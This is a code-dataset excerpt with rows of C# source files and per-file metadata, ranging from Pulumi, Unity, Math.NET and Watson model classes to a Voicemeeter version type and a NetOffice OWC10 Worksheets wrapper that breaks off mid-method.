content
stringlengths
5
1.04M
avg_line_length
float64
1.75
12.9k
max_line_length
int64
2
244k
alphanum_fraction
float64
0
0.98
licenses
sequence
repository_name
stringlengths
7
92
path
stringlengths
3
249
size
int64
5
1.04M
lang
stringclasses
2 values
// *** WARNING: this file was generated by the Pulumi SDK Generator. *** // *** Do not edit by hand unless you're certain you know what you are doing! *** using System; using System.Collections.Generic; using System.Collections.Immutable; using System.Threading.Tasks; using Pulumi.Serialization; namespace Pulumi.AzureNative.MachineLearningServices.V20210301Preview.Inputs { /// <summary> /// A user that can be assigned to a compute instance. /// </summary> public sealed class AssignedUserArgs : Pulumi.ResourceArgs { /// <summary> /// User’s AAD Object Id. /// </summary> [Input("objectId", required: true)] public Input<string> ObjectId { get; set; } = null!; /// <summary> /// User’s AAD Tenant Id. /// </summary> [Input("tenantId", required: true)] public Input<string> TenantId { get; set; } = null!; public AssignedUserArgs() { } } }
27.885714
81
0.617828
[ "Apache-2.0" ]
polivbr/pulumi-azure-native
sdk/dotnet/MachineLearningServices/V20210301Preview/Inputs/AssignedUserArgs.cs
980
C#
using UnityEngine; using System.Collections.Generic; using System.Linq; using UnityEditor; namespace AmazingAssets { namespace WireframeShader { public class WireframeTextureTransparencyDrawer : WireframeMaterialPropertyDrawer { public WireframeTextureTransparencyDrawer() : base(new string[] { "", "WIREFRAME_COLOR_TEXTURE_TRANSPARENCY_ON" }, new string[] { "Off", "On" }) { } public override void OnGUI(Rect position, MaterialProperty prop, string label, MaterialEditor editor) { int keywordID = DrawBaseGUI(position, "Use Color Texture Alpha", editor); if (keywordID == 0) return; #region Load Properties MaterialProperty _Wireframe_TransparentTex_Alpha_Offset = null; LoadParameters(ref _Wireframe_TransparentTex_Alpha_Offset, "_Wireframe_TransparentTex_Alpha_Offset"); #endregion #region Draw using (new AmazingAssets.EditorGUIUtility.EditorGUIIndentLevel(1)) { bool isInvert = targetMaterial.GetInt("_Wireframe_TransparentTex_Invert") == 0 ? false : true; EditorGUI.BeginChangeCheck(); isInvert = EditorGUILayout.Toggle("Invert", isInvert); if(EditorGUI.EndChangeCheck()) { Undo.RecordObject(targetMaterial, "Change shader"); targetMaterial.SetFloat("_Wireframe_TransparentTex_Invert", isInvert ? 1 : 0); } editor.RangeProperty(_Wireframe_TransparentTex_Alpha_Offset, "Value Offset"); } #endregion } public override float GetPropertyHeight(MaterialProperty prop, string label, MaterialEditor editor) { return 18; } } } }
37.214286
157
0.555662
[ "MIT" ]
tpnet/CrazyCar
CrazyCar/Assets/Plugins/Amazing Assets/Wireframe Shader/Editor/Material Property Drawers/WireframeTextureTransparencyDrawer.cs
2,086
C#
// <copyright file="Hypergeometric.cs" company="Math.NET"> // Math.NET Numerics, part of the Math.NET Project // http://numerics.mathdotnet.com // http://github.com/mathnet/mathnet-numerics // http://mathnetnumerics.codeplex.com // // Copyright (c) 2009-2010 Math.NET // // Permission is hereby granted, free of charge, to any person // obtaining a copy of this software and associated documentation // files (the "Software"), to deal in the Software without // restriction, including without limitation the rights to use, // copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the // Software is furnished to do so, subject to the following // conditions: // // The above copyright notice and this permission notice shall be // included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES // OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT // HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, // WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR // OTHER DEALINGS IN THE SOFTWARE. // </copyright> namespace MathNet.Numerics.Distributions { using System; using System.Collections.Generic; using Properties; /// <summary> /// This class implements functionality for the Hypergeometric distribution. This distribution is /// a discrete probability distribution that describes the number of successes in a sequence /// of n draws from a finite population without replacement, just as the binomial distribution /// describes the number of successes for draws with replacement /// <a href="http://en.wikipedia.org/wiki/Hypergeometric_distribution">Wikipedia - Hypergeometric distribution</a>. /// </summary> /// <remarks><para>The distribution will use the <see cref="System.Random"/> by default. /// Users can set the random number generator by using the <see cref="RandomSource"/> property</para>. /// <para> /// The statistics classes will check all the incoming parameters whether they are in the allowed /// range. This might involve heavy computation. Optionally, by setting Control.CheckDistributionParameters /// to <c>false</c>, all parameter checks can be turned off.</para></remarks> public class Hypergeometric : IDiscreteDistribution { /// <summary> /// The size of the population. /// </summary> int _populationSize; /// <summary> /// The m parameter of the distribution. /// </summary> int _m; /// <summary> /// The n parameter (number to draw) of the distribution. /// </summary> int _n; /// <summary> /// The distribution's random number generator. /// </summary> Random _random; /// <summary> /// Initializes a new instance of the Hypergeometric class. /// </summary> /// <param name="populationSize">The population size.</param> /// <param name="m">The m parameter of the distribution.</param> /// <param name="n">The n parameter of the distribution.</param> public Hypergeometric(int populationSize, int m, int n) { SetParameters(populationSize, m, n); RandomSource = new Random(); } /// <summary> /// Sets the parameters of the distribution after checking their validity. /// </summary> /// <param name="total">The Total parameter of the distribution.</param> /// <param name="m">The m parameter of the distribution.</param> /// <param name="n">The n parameter of the distribution.</param> void SetParameters(int total, int m, int n) { if (Control.CheckDistributionParameters && !IsValidParameterSet(total, m, n)) { throw new ArgumentOutOfRangeException(Resources.InvalidDistributionParameters); } _populationSize = total; _m = m; _n = n; } /// <summary> /// Checks whether the parameters of the distribution are valid. /// </summary> /// <param name="total">The Total parameter of the distribution.</param> /// <param name="m">The m parameter of the distribution.</param> /// <param name="n">The n parameter of the distribution.</param> /// <returns><c>true</c> when the parameters are valid, <c>false</c> otherwise.</returns> static bool IsValidParameterSet(int total, int m, int n) { if (total < 0 || m < 0 || n < 0) { return false; } if (m > total || n > total) { return false; } return true; } /// <summary> /// Gets or sets the population size. /// </summary> public int PopulationSize { get { return _populationSize; } set { SetParameters(value, _m, _n); } } /// <summary> /// Gets or sets the n parameter of the distribution. /// </summary> public int N { get { return _n; } set { SetParameters(_populationSize, value, _n); } } /// <summary> /// Gets or sets the m parameter of the distribution. /// </summary> public int M { get { return _m; } set { SetParameters(_populationSize, _m, value); } } /// <summary> /// Returns a <see cref="System.String"/> that represents this instance. /// </summary> /// <returns> /// A <see cref="System.String"/> that represents this instance. /// </returns> public override string ToString() { return "Hypergeometric(N = " + _populationSize + ", m = " + _m + ", n = " + _n + ")"; } #region IDistribution Members /// <summary> /// Gets or sets the random number generator which is used to draw random samples. /// </summary> public Random RandomSource { get { return _random; } set { if (value == null) { throw new ArgumentNullException(); } _random = value; } } /// <summary> /// Gets the mean of the distribution. /// </summary> public double Mean { get { return (double)_m * _n / _populationSize; } } /// <summary> /// Gets the variance of the distribution. /// </summary> public double Variance { get { return _n * _m * (_populationSize - _n) * (_populationSize - _m) / (_populationSize * _populationSize * (_populationSize - 1.0)); } } /// <summary> /// Gets the standard deviation of the distribution. /// </summary> public double StdDev { get { return Math.Sqrt(Variance); } } /// <summary> /// Gets the entropy of the distribution. /// </summary> public double Entropy { get { throw new NotSupportedException(); } } /// <summary> /// Gets the skewness of the distribution. /// </summary> public double Skewness { get { return (Math.Sqrt(_populationSize - 1.0) * (_populationSize - (2 * _n)) * (_populationSize - (2 * _m))) / (Math.Sqrt(_n * _m * (_populationSize - _m) * (_populationSize - _n)) * (_populationSize - 2.0)); } } /// <summary> /// Computes the cumulative distribution function of the distribution. /// </summary> /// <param name="x">The location at which to compute the cumulative density.</param> /// <returns>the cumulative density at <paramref name="x"/>.</returns> public double CumulativeDistribution(double x) { int alpha = Minimum; int beta = Maximum; if (x <= alpha) { return 0.0; } if (x > beta) { return 1.0; } var sum = 0.0; var k = (int)Math.Ceiling(x - alpha) - 1; for (var i = alpha; i <= alpha + k; i++) { sum += SpecialFunctions.Binomial(_m, i) * SpecialFunctions.Binomial(_populationSize - _m, _n - i); } return sum / SpecialFunctions.Binomial(_populationSize, _n); } #endregion #region IDiscreteDistribution Members /// <summary> /// Gets the mode of the distribution. /// </summary> public int Mode { get { return (_n + 1) * (_m + 1) / (_populationSize + 2); } } /// <summary> /// Gets the median of the distribution. /// </summary> public int Median { get { throw new NotSupportedException(); } } /// <summary> /// Gets the minimum of the distribution. /// </summary> public int Minimum { get { return Math.Max(0, _n + _m - _populationSize); } } /// <summary> /// Gets the maximum of the distribution. /// </summary> public int Maximum { get { return Math.Min(_m, _n); } } /// <summary> /// Computes values of the probability mass function. /// </summary> /// <param name="k">The location in the domain where we want to evaluate the probability mass function.</param> /// <returns> /// the probability mass at location <paramref name="k"/>. /// </returns> public double Probability(int k) { return SpecialFunctions.Binomial(_m, k) * SpecialFunctions.Binomial(_populationSize - _m, _n - k) / SpecialFunctions.Binomial(_populationSize, _n); } /// <summary> /// Computes values of the log probability mass function. /// </summary> /// <param name="k">The location in the domain where we want to evaluate the log probability mass function.</param> /// <returns> /// the log probability mass at location <paramref name="k"/>. /// </returns> public double ProbabilityLn(int k) { return Math.Log(Probability(k)); } #endregion /// <summary> /// Generates a sample from the Hypergeometric distribution without doing parameter checking. /// </summary> /// <param name="rnd">The random number generator to use.</param> /// <param name="size">The Total parameter of the distribution.</param> /// <param name="m">The m parameter of the distribution.</param> /// <param name="n">The n parameter of the distribution.</param> /// <returns>a random number from the Hypergeometric distribution.</returns> internal static int SampleUnchecked(Random rnd, int size, int m, int n) { var x = 0; do { var p = (double)m / size; var r = rnd.NextDouble(); if (r < p) { x++; m--; } size--; n--; } while (0 < n); return x; } /// <summary> /// Samples a Hypergeometric distributed random variable. /// </summary> /// <returns>The number of successes in n trials.</returns> public int Sample() { return SampleUnchecked(RandomSource, _populationSize, _m, _n); } /// <summary> /// Samples an array of Hypergeometric distributed random variables. /// </summary> /// <returns>a sequence of successes in n trials.</returns> public IEnumerable<int> Samples() { while (true) { yield return SampleUnchecked(RandomSource, _populationSize, _m, _n); } } /// <summary> /// Samples a random variable. /// </summary> /// <param name="rnd">The random number generator to use.</param> /// <param name="populationSize">The population size.</param> /// <param name="m">The m parameter of the distribution.</param> /// <param name="n">The n parameter of the distribution.</param> public static int Sample(Random rnd, int populationSize, int m, int n) { if (Control.CheckDistributionParameters && !IsValidParameterSet(populationSize, m, n)) { throw new ArgumentOutOfRangeException(Resources.InvalidDistributionParameters); } return SampleUnchecked(rnd, populationSize, m, n); } /// <summary> /// Samples a sequence of this random variable. /// </summary> /// <param name="rnd">The random number generator to use.</param> /// <param name="populationSize">The population size.</param> /// <param name="m">The m parameter of the distribution.</param> /// <param name="n">The n parameter of the distribution.</param> public static IEnumerable<int> Samples(Random rnd, int populationSize, int m, int n) { if (Control.CheckDistributionParameters && !IsValidParameterSet(populationSize, m, n)) { throw new ArgumentOutOfRangeException(Resources.InvalidDistributionParameters); } while (true) { yield return SampleUnchecked(rnd, populationSize, m, n); } } } }
35.099502
223
0.557123
[ "MIT" ]
Plankankul/Framework-w-WebApp
Original/System.Math.Extensions/Distributions/Discrete/Hypergeometric.cs
14,112
C#
using System.Collections.Generic; using Content.Server.Toilet; using Content.Shared.Construction; using Content.Shared.Examine; using JetBrains.Annotations; using Robust.Shared.GameObjects; using Robust.Shared.Localization; using Robust.Shared.Serialization.Manager.Attributes; namespace Content.Server.Construction.Conditions { [UsedImplicitly] [DataDefinition] public class ToiletLidClosed : IGraphCondition { public bool Condition(EntityUid uid, IEntityManager entityManager) { if (!entityManager.TryGetComponent(uid, out ToiletComponent? toilet)) return false; return !toilet.LidOpen; } public bool DoExamine(ExaminedEvent args) { var entity = args.Examined; if (!entity.TryGetComponent(out ToiletComponent? toilet)) return false; if (!toilet.LidOpen) return false; args.PushMarkup(Loc.GetString("construction-examine-condition-toilet-lid-closed") + "\n"); return true; } public IEnumerable<ConstructionGuideEntry> GenerateGuideEntry() { yield return new ConstructionGuideEntry() { Localization = "construction-step-condition-toilet-lid-closed" }; } } }
29.727273
102
0.658257
[ "MIT" ]
AJCM-git/space-station-14
Content.Server/Construction/Conditions/ToiletLidClosed.cs
1,308
C#
using System; using System.IO; namespace PlantUml.Net.Tools { internal class ProcessResult : IProcessResult { public byte[] Output { get; set; } public byte[] Error { get; set; } public int ExitCode { get; set; } } }
19.214286
50
0.576208
[ "MIT" ]
Chinese-Xu/PlantUml.Net
src/Tools/ProcessResult.cs
271
C#
/** * Copyright 2018 IBM Corp. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ using System.Collections.Generic; using Newtonsoft.Json; namespace IBM.WatsonDeveloperCloud.Assistant.v1.Model { /// <summary> /// A request sent to the workspace, including the user input and context. /// </summary> public class MessageRequest : BaseModel { /// <summary> /// An input object that includes the input text. /// </summary> [JsonProperty("input", NullValueHandling = NullValueHandling.Ignore)] public dynamic Input { get; set; } /// <summary> /// Whether to return more than one intent. Set to `true` to return all matching intents. /// </summary> [JsonProperty("alternate_intents", NullValueHandling = NullValueHandling.Ignore)] public bool? AlternateIntents { get; set; } /// <summary> /// State information for the conversation. To maintain state, include the context from the previous response. /// </summary> [JsonProperty("context", NullValueHandling = NullValueHandling.Ignore)] public dynamic Context { get; set; } /// <summary> /// Entities to use when evaluating the message. Include entities from the previous response to continue using /// those entities rather than detecting entities in the new input. /// </summary> [JsonProperty("entities", NullValueHandling = NullValueHandling.Ignore)] public List<dynamic> Entities { get; set; } /// <summary> /// Intents to use when evaluating the user input. Include intents from the previous response to continue using /// those intents rather than trying to recognize intents in the new input. /// </summary> [JsonProperty("intents", NullValueHandling = NullValueHandling.Ignore)] public List<dynamic> Intents { get; set; } /// <summary> /// An output object that includes the response to the user, the dialog nodes that were triggered, and messages /// from the log. /// </summary> [JsonProperty("output", NullValueHandling = NullValueHandling.Ignore)] public dynamic Output { get; set; } } }
43.109375
119
0.670895
[ "Apache-2.0" ]
anlblci/dotnetwatson
src/IBM.WatsonDeveloperCloud.Assistant.v1/Model/MessageRequest.cs
2,759
C#
#pragma warning disable 108 // new keyword hiding #pragma warning disable 114 // new keyword hiding namespace Windows.UI.Xaml.Controls { #if false || false || false || false || false || false || false [global::Uno.NotImplemented] #endif public partial class MenuBarItemFlyout : global::Windows.UI.Xaml.Controls.MenuFlyout { // Skipping already declared method Windows.UI.Xaml.Controls.MenuBarItemFlyout.MenuBarItemFlyout() // Forced skipping of method Windows.UI.Xaml.Controls.MenuBarItemFlyout.MenuBarItemFlyout() } }
37.857143
100
0.766038
[ "Apache-2.0" ]
AbdalaMask/uno
src/Uno.UI/Generated/3.0.0.0/Windows.UI.Xaml.Controls/MenuBarItemFlyout.cs
530
C#
using System; namespace AtgDev.Voicemeeter.Types { public class VoicemeeterVersion : IComparable<VoicemeeterVersion>, IEquatable<VoicemeeterVersion> { public int v1 = 0; public int v2 = 0; public int v3 = 0; public int v4 = 0; public VoicemeeterVersion(int ver1, int ver2, int ver3, int ver4) { Assign(ver1, ver2, ver3, ver4); } public VoicemeeterVersion(Int32 version) { SingleNumber = version; } public VoicemeeterVersion(string version) { TryParse(version); } public void Assign(int ver1, int ver2, int ver3, int ver4) { v1 = ver1; v2 = ver2; v3 = ver3; v4 = ver4; } public Int32 SingleNumber { get { int result = (v4 & 0x000000FF); result |= (v3 << 8) & 0x0000FF00; result |= (v2 << 16) & 0x00FF0000; result |= (int)((v1 << 24) & 0xFF000000); return result; } set { var ver = (int)((value & 0xFF000000) >> 24); v1 = ver; ver = (value & 0x00FF0000) >> 16; v2 = ver; ver = (value & 0x0000FF00) >> 8; v3 = ver; ver = value & 0x000000FF; v4 = ver; } } public bool TryParse(string version) { bool result = false; // because Voicemeeter uses 4 numbers, 8 bit each in single 32bit integer // 255.255.255.255 (or 127.255.255.255) const int maxLen = 15; const int numbers = 4; if (version.Length <= maxLen) { var versionSplit = version.Split('.'); if (versionSplit.Length <= numbers) { var isValidNumber = int.TryParse(versionSplit[0], out int ver1); isValidNumber &= int.TryParse(versionSplit[1], out int ver2); isValidNumber &= int.TryParse(versionSplit[2], out int ver3); isValidNumber &= int.TryParse(versionSplit[3], out int ver4); if (isValidNumber) { v1 = ver1; v2 = ver2; v3 = ver3; v4 = ver4; result = true; } } } return result; } public override string ToString() { return $"{v1}.{v2}.{v3}.{v4}"; } public bool Equals(VoicemeeterVersion version) { return (v4 == version.v4) && (v3 == version.v3) && (v2 == version.v2) && (v1 == version.v1); } public int CompareTo(VoicemeeterVersion other) { int[] thisVersion = { v1, v2, v3, v4 }; int[] otherVersion = { other.v1, other.v2, other.v3, other.v4 }; int thisV; int otherV; for (var i = 0; i < thisVersion.Length; i++) { thisV = thisVersion[i]; otherV = otherVersion[i]; if (thisV != otherV) { return thisV > otherV ? 1 : -1; } } return 0; } public override bool Equals(object obj) { return base.Equals(obj); } public override int GetHashCode() { return base.GetHashCode(); } public static bool operator ==(VoicemeeterVersion left, VoicemeeterVersion right) { return left.Equals(right); } public static bool operator !=(VoicemeeterVersion left, VoicemeeterVersion right) { return !(left == right); } public static bool operator >(VoicemeeterVersion left, VoicemeeterVersion right) { return left.CompareTo(right) > 0; } public static bool operator <(VoicemeeterVersion left, VoicemeeterVersion right) { return right > left; } public static bool operator <=(VoicemeeterVersion left, VoicemeeterVersion right) { return left.CompareTo(right) <= 0; } public static bool operator >=(VoicemeeterVersion left, VoicemeeterVersion right) { return right <= left; } } }
29.360759
101
0.459151
[ "MIT" ]
A-tG/voicemeeter-remote-api-extended
voicemeeter remote api extended/Types/VoicemeeterVersion.cs
4,641
C#
using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; namespace Sierra.Platform { internal static class PerfCounters { [DebuggerDisplay("{DebuggerDisplay,nq}")] private class PerfCounterLogEntry { private string DebuggerDisplay => $"[{LogDt:hh:mm:ss.fff}] {(IsEnd ? "END" : "START")} {CounterName}"; public string CounterName; public DateTime LogDt; public bool IsEnd; } private class PerfCounterLog { public TimeSpan FrameTime; public List<PerfCounterLogEntry> Entries = new List<PerfCounterLogEntry>(); public bool IsOpen; } internal class TimedBlock : IDisposable { private readonly string name; public TimedBlock(string name) { PerfCounters.StartPerfCounter(name); this.name = name; } public void Dispose() { PerfCounters.EndPerfCounter(name); } } const int PerfCounterHistoryFrameCount = 30; private static PerfCounterLog[] frameLogs; private static PerfCounterLog currentLog; private static int currentLogIndex; internal static void StartFrame(TimeSpan elapsedFrameTime) { if (frameLogs == null) { frameLogs = new PerfCounterLog[PerfCounterHistoryFrameCount]; for (int i = 0; i < PerfCounterHistoryFrameCount; i++) { frameLogs[i] = new PerfCounterLog(); } } currentLog = frameLogs[currentLogIndex]; currentLogIndex++; if (currentLogIndex == PerfCounterHistoryFrameCount) { currentLogIndex = 0; } currentLog.FrameTime = elapsedFrameTime; currentLog.Entries.Clear(); currentLog.IsOpen = true; } internal static void EndFrame() { currentLog.IsOpen = false; } private static void AddPerfCounterEntry(PerfCounterLogEntry entry) { Debug.Assert(currentLog.IsOpen); currentLog.Entries.Add(entry); } internal static void StartPerfCounter(string counterName) { AddPerfCounterEntry(new PerfCounterLogEntry { CounterName = counterName, LogDt = DateTime.UtcNow, IsEnd = false }); } internal static void EndPerfCounter(string counterName) { AddPerfCounterEntry(new PerfCounterLogEntry { CounterName = counterName, LogDt = DateTime.UtcNow, IsEnd = true }); } internal static TimedBlock Measure(string counterName) { return new TimedBlock(counterName); } internal static CollatedPerfCounters Collate() { var result = new CollatedPerfCounters(); var counterStack = new Stack<(CollatedPerfCounter, DateTime)>(); var counterHistory = new Dictionary<CollatedPerfCounter, List<TimeSpan>>(); int frameCount = 0; foreach (var frameLog in frameLogs) { if (frameLog.IsOpen) continue; try { var parentCounter = result.RootCounter; var thisFrameCounters = new Dictionary<CollatedPerfCounter, TimeSpan>(); counterStack.Clear(); foreach (var entry in frameLog.Entries) { if (entry.IsEnd) { var (counter, startDt) = counterStack.Pop(); Debug.Assert(entry.CounterName == counter.Name); TimeSpan elapsed = entry.LogDt - startDt; if (thisFrameCounters.TryGetValue(counter, out var elapsedThisFrame)) { thisFrameCounters[counter] = elapsedThisFrame + elapsed; } else { thisFrameCounters.Add(counter, elapsed); } if (counterStack.TryPeek(out var topOfStack)) { (parentCounter, _) = topOfStack; } else { parentCounter = result.RootCounter; } } else { var counter = parentCounter.Children.FirstOrDefault(c => c.Name == entry.CounterName); if (counter == null) { counter = new CollatedPerfCounter { Name = entry.CounterName, Elapsed = TimeSpan.Zero }; parentCounter.Children.Add(counter); } counterStack.Push((counter, entry.LogDt)); parentCounter = counter; } } Debug.Assert(counterStack.Count == 0); foreach (var counter in thisFrameCounters) { List<TimeSpan> history; if (!counterHistory.TryGetValue(counter.Key, out history)) { history = new List<TimeSpan>(); counterHistory.Add(counter.Key, history); } history.Add(counter.Value); } result.FrameTime += frameLog.FrameTime; frameCount++; } catch (InvalidOperationException) { // Typically this exception occurs when the counter collection is modified by the core // tick thread. We can ignore it. } } if (frameCount > 0) { result.FrameTime /= frameCount; foreach (var kvp in counterHistory) { var counter = kvp.Key; var history = kvp.Value; TimeSpan sum = TimeSpan.Zero; foreach (var elapsed in history) { sum += elapsed; } counter.Elapsed = sum / history.Count; } } return result; } } internal class CollatedPerfCounter { public string Name; public TimeSpan Elapsed; public List<CollatedPerfCounter> Children = new List<CollatedPerfCounter>(); } internal class CollatedPerfCounters { public TimeSpan FrameTime; public CollatedPerfCounter RootCounter = new CollatedPerfCounter(); } }
34.451613
114
0.463082
[ "MIT" ]
vivekhnz/sierra
src/Editor/Platform/PerfCounters.cs
7,478
C#
using Microsoft.AspNetCore.Mvc; namespace Modular.Infrastructure.Api; public class ProducesDefaultContentTypeAttribute : ProducesAttribute { public ProducesDefaultContentTypeAttribute(Type type) : base(type) { } public ProducesDefaultContentTypeAttribute(params string[] additionalContentTypes) : base("application/json", additionalContentTypes) { } }
25.8
86
0.764858
[ "MIT" ]
GregoireWulliamoz/modular-framework
src/Modular.Infrastructure/Api/ProducesDefaultContentTypeAttribute.cs
389
C#
using System; using NetRuntimeSystem = System; using System.Runtime.InteropServices; using System.Runtime.CompilerServices; using System.ComponentModel; using System.Reflection; using System.Collections.Generic; using System.Collections; using NetOffice; namespace NetOffice.OWC10Api { ///<summary> /// DispatchInterface Worksheets /// SupportByVersion OWC10, 1 ///</summary> [SupportByVersionAttribute("OWC10", 1)] [EntityTypeAttribute(EntityType.IsDispatchInterface)] public class Worksheets : COMObject ,IEnumerable<object> { #pragma warning disable #region Type Information private static Type _type; [EditorBrowsable(EditorBrowsableState.Never), Browsable(false)] public static Type LateBindingApiWrapperType { get { if (null == _type) _type = typeof(Worksheets); return _type; } } #endregion #region Construction ///<param name="factory">current used factory core</param> ///<param name="parentObject">object there has created the proxy</param> ///<param name="comProxy">inner wrapped COM proxy</param> public Worksheets(Core factory, COMObject parentObject, object comProxy) : base(factory, parentObject, comProxy) { } ///<param name="parentObject">object there has created the proxy</param> ///<param name="comProxy">inner wrapped COM proxy</param> [EditorBrowsable(EditorBrowsableState.Never), Browsable(false)] public Worksheets(COMObject parentObject, object comProxy) : base(parentObject, comProxy) { } ///<param name="factory">current used factory core</param> ///<param name="parentObject">object there has created the proxy</param> ///<param name="comProxy">inner wrapped COM proxy</param> ///<param name="comProxyType">Type of inner wrapped COM proxy"</param> [EditorBrowsable(EditorBrowsableState.Never), Browsable(false)] public Worksheets(Core factory, COMObject parentObject, object comProxy, NetRuntimeSystem.Type comProxyType) : base(factory, parentObject, comProxy, comProxyType) { } ///<param name="parentObject">object there has created the proxy</param> ///<param name="comProxy">inner wrapped COM proxy</param> ///<param name="comProxyType">Type of inner wrapped COM proxy"</param> [EditorBrowsable(EditorBrowsableState.Never), Browsable(false)] public Worksheets(COMObject parentObject, object comProxy, NetRuntimeSystem.Type comProxyType) : base(parentObject, comProxy, comProxyType) { } ///<param name="replacedObject">object to replaced. replacedObject are not usable after this action</param> [EditorBrowsable(EditorBrowsableState.Never), Browsable(false)] public Worksheets(COMObject replacedObject) : base(replacedObject) { } [EditorBrowsable(EditorBrowsableState.Never), Browsable(false)] public Worksheets() : base() { } /// <param name="progId">registered ProgID</param> [EditorBrowsable(EditorBrowsableState.Never), Browsable(false)] public Worksheets(string progId) : base(progId) { } #endregion #region Properties /// <summary> /// SupportByVersion OWC10 1 /// Get /// </summary> [SupportByVersionAttribute("OWC10", 1)] public NetOffice.OWC10Api.ISpreadsheet Application { get { object[] paramsArray = null; object returnItem = Invoker.PropertyGet(this, "Application", paramsArray); NetOffice.OWC10Api.ISpreadsheet newObject = Factory.CreateObjectFromComProxy(this,returnItem) as NetOffice.OWC10Api.ISpreadsheet; return newObject; } } /// <summary> /// SupportByVersion OWC10 1 /// Get /// </summary> [SupportByVersionAttribute("OWC10", 1)] public Int32 Count { get { object[] paramsArray = null; object returnItem = Invoker.PropertyGet(this, "Count", paramsArray); return NetRuntimeSystem.Convert.ToInt32(returnItem); } } /// <summary> /// SupportByVersion OWC10 1 /// Get /// Unknown COM Proxy /// </summary> /// <param name="index">object Index</param> [SupportByVersionAttribute("OWC10", 1)] [NetRuntimeSystem.Runtime.CompilerServices.IndexerName("Item")] public object this[object index] { get { object[] paramsArray = Invoker.ValidateParamsArray(index); object returnItem = Invoker.PropertyGet(this, "Item", paramsArray); COMObject newObject = Factory.CreateObjectFromComProxy(this,returnItem); return newObject; } } /// <summary> /// SupportByVersion OWC10 1 /// Get /// </summary> [SupportByVersionAttribute("OWC10", 1)] public NetOffice.OWC10Api.Workbook Parent { get { object[] paramsArray = null; object returnItem = Invoker.PropertyGet(this, "Parent", paramsArray); NetOffice.OWC10Api.Workbook newObject = Factory.CreateKnownObjectFromComProxy(this,returnItem,NetOffice.OWC10Api.Workbook.LateBindingApiWrapperType) as NetOffice.OWC10Api.Workbook; return newObject; } } /// <summary> /// SupportByVersion OWC10 1 /// Get/Set /// </summary> [SupportByVersionAttribute("OWC10", 1)] public object Visible { get { object[] paramsArray = null; object returnItem = Invoker.PropertyGet(this, "Visible", paramsArray); if((null != returnItem) && (returnItem is MarshalByRefObject)) { COMObject newObject = Factory.CreateObjectFromComProxy(this, returnItem); return newObject; } else { return returnItem; } } set { object[] paramsArray = Invoker.ValidateParamsArray(value); Invoker.PropertySet(this, "Visible", paramsArray); } } #endregion #region Methods /// <summary> /// SupportByVersion OWC10 1 /// /// </summary> /// <param name="before">optional object Before</param> /// <param name="after">optional object After</param> /// <param name="count">optional object Count</param> /// <param name="type">optional object Type</param> [SupportByVersionAttribute("OWC10", 1)] public object Add(object before, object after, object count, object type) { object[] paramsArray = Invoker.ValidateParamsArray(before, after, count, type); object returnItem = Invoker.MethodReturn(this, "Add", paramsArray); object newObject = Factory.CreateObjectFromComProxy(this,returnItem); return newObject; } /// <summary> /// SupportByVersion OWC10 1 /// /// </summary> [CustomMethodAttribute] [SupportByVersionAttribute("OWC10", 1)] public object Add() { object[] paramsArray = null; object returnItem = Invoker.MethodReturn(this, "Add", paramsArray); object newObject = Factory.CreateObjectFromComProxy(this,returnItem); return newObject; } /// <summary> /// SupportByVersion OWC10 1 /// /// </summary> /// <param name="before">optional object Before</param> [CustomMethodAttribute] [SupportByVersionAttribute("OWC10", 1)] public object Add(object before) { object[] paramsArray = Invoker.ValidateParamsArray(before); object returnItem = Invoker.MethodReturn(this, "Add", paramsArray); object newObject = Factory.CreateObjectFromComProxy(this,returnItem); return newObject; } /// <summary> /// SupportByVersion OWC10 1 /// /// </summary> /// <param name="before">optional object Before</param> /// <param name="after">optional object After</param> [CustomMethodAttribute] [SupportByVersionAttribute("OWC10", 1)] public object Add(object before, object after) { object[] paramsArray = Invoker.ValidateParamsArray(before, after); object returnItem = Invoker.MethodReturn(this, "Add", paramsArray); object newObject = Factory.CreateObjectFromComProxy(this,returnItem); return newObject; } /// <summary> /// SupportByVersion OWC10 1 /// /// </summary> /// <param name="before">optional object Before</param> /// <param name="after">optional object After</param> /// <param name="count">optional object Count</param> [CustomMethodAttribute] [SupportByVersionAttribute("OWC10", 1)] public object Add(object before, object after, object count) { object[] paramsArray = Invoker.ValidateParamsArray(before, after, count); object returnItem = Invoker.MethodReturn(this, "Add", paramsArray); object newObject = Factory.CreateObjectFromComProxy(this,returnItem); return newObject; } /// <summary> /// SupportByVersion OWC10 1 /// /// </summary> /// <param name="before">optional object Before</param> /// <param name="after">optional object After</param> [SupportByVersionAttribute("OWC10", 1)] public void Copy(object before, object after) { object[] paramsArray = Invoker.ValidateParamsArray(before, after); Invoker.Method(this, "Copy", paramsArray); } /// <summary> /// SupportByVersion OWC10 1 /// /// </summary> [CustomMethodAttribute] [SupportByVersionAttribute("OWC10", 1)] public void Copy() { object[] paramsArray = null; Invoker.Method(this, "Copy", paramsArray); } /// <summary> /// SupportByVersion OWC10 1 /// /// </summary> /// <param name="before">optional object Before</param> [CustomMethodAttribute] [SupportByVersionAttribute("OWC10", 1)] public void Copy(object before) { object[] paramsArray = Invoker.ValidateParamsArray(before); Invoker.Method(this, "Copy", paramsArray); } /// <summary> /// SupportByVersion OWC10 1 /// /// </summary> [SupportByVersionAttribute("OWC10", 1)] public void Delete() { object[] paramsArray = null; Invoker.Method(this, "Delete", paramsArray); } /// <summary> /// SupportByVersion OWC10 1 /// /// </summary> /// <param name="before">optional object Before</param> /// <param name="after">optional object After</param> [SupportByVersionAttribute("OWC10", 1)] public void Move(object before, object after) { object[] paramsArray = Invoker.ValidateParamsArray(before, after); 